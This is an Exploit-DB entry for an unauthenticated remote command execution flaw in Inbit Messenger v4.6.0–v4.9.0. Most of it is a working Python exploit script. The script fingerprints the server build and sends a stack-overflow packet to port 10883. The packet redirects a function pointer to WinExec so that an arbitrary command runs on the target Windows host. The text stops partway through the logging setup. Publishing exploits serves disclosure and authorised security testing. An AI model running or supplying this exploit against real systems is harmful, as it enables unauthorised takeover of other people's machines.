Exploit-DB #51127
Description: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
Type: remote
Platform: windows
Date: 2023-03-29
Author: a-rey

Exploit:
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
# Date: 11/08/2022
# Exploit Author: a-rey 
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys, socket, struct, string, argparse, logging

BANNER = """\033[0m\033[1;35m
‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēó
‚ēĎ\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m‚ēĎ
‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ\033[0m
 by: \033[1;36m ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó      ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēó   ‚Ėą‚Ėą‚ēó
     \033[1;36m‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó     ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēĚ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĎ
     \033[1;36m‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĎ ‚Ėą‚Ėą‚Ėą ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó   ‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚ēź‚ēĚ
     \033[1;36m‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēĎ     ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēĚ     ‚Ėą‚Ėą‚ēĒ‚ēĚ  
     \033[1;36m‚Ėą‚Ėą‚ēĎ  ‚Ėą‚Ėą‚ēĎ     ‚Ėą‚Ėą‚ēĎ  ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó   ‚Ėą‚Ėą‚ēĎ   
     \033[1;36m‚ēö‚ēź‚ēĚ  ‚ēö‚ēź‚ēĚ     ‚ēö‚ēź‚ēĚ  ‚ēö‚ēź‚ēĚ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ   ‚ēö‚ēź‚ēĚ   
\033[0m"""

# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number
TARGETS = {
  4601 : 0x005f3360,
  4801 : 0x005f7364,
  4901 : 0x005f7364,
}

# NOTE: min and max values for length of command
CMD_MIN_LEN = 10
CMD_MAX_LEN = 0xfc64

# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow
BAD_BYTES = b"\x3e" # >

def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
  # NOTE: send packet with client build number of 4601 for v4.6.0
  pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
  logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  _d = s.recv(1024)
  # find build tag in response
  if b'<c>' not in _d:
    logging.error(f"invalid version packet received: {_d}")
    sys.exit(-1)
  s.close()
  try:
    build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
  except:
    logging.error(f"failed to parse build number from packet: {_d}")
    sys.exit(-1)
  # get the IAT offset 
  if build not in TARGETS.keys():
    logging.error(f"unexpected build number: {build}")
    sys.exit(-1)
  # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'
  winexec = struct.pack("<I", TARGETS[build] - 0x38)
  logging.success(f"target build number is {build}")
  logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
  # sanity check for bad bytes in WinExec address
  for c in winexec:
    if c in BAD_BYTES:
      logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
      sys.exit(-1)
  return winexec

def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
  # NOTE: command must be NULL terminated
  command += b"\x00"
  # check user command length
  if len(command) < CMD_MIN_LEN:
    logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
    sys.exit(-1)
  if len(command) >= CMD_MAX_LEN:
    logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
    sys.exit(-1)
  # get WinExec address
  winexec = getWinExecAddress(targetIp, targetPort)
  # get a string representation of the length of the command data after the <> tag parsed by atol()
  pktLen = str(len(command))
  pkt  = b"<"            # start of XML tag/stack overflow
  pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character
  pkt += b"\x00"         # NULL terminator to force atol to ignore what comes next
  # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()
  pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite
  pkt += winexec                           # indirect function pointer we control
  pkt += b">"                              # end of XML tag/stack overflow
  pkt += command                           # the command set to the call to WinExec()
  logging.info(f"sending payload to {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  s.close()
  logging.success("DONE")

if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-t', '--target',  help='target IP',      type=str, required=True)
  parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
  parser.add_argument('-p', '--port',    help='target port',    type=int, required=False, default=10883)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,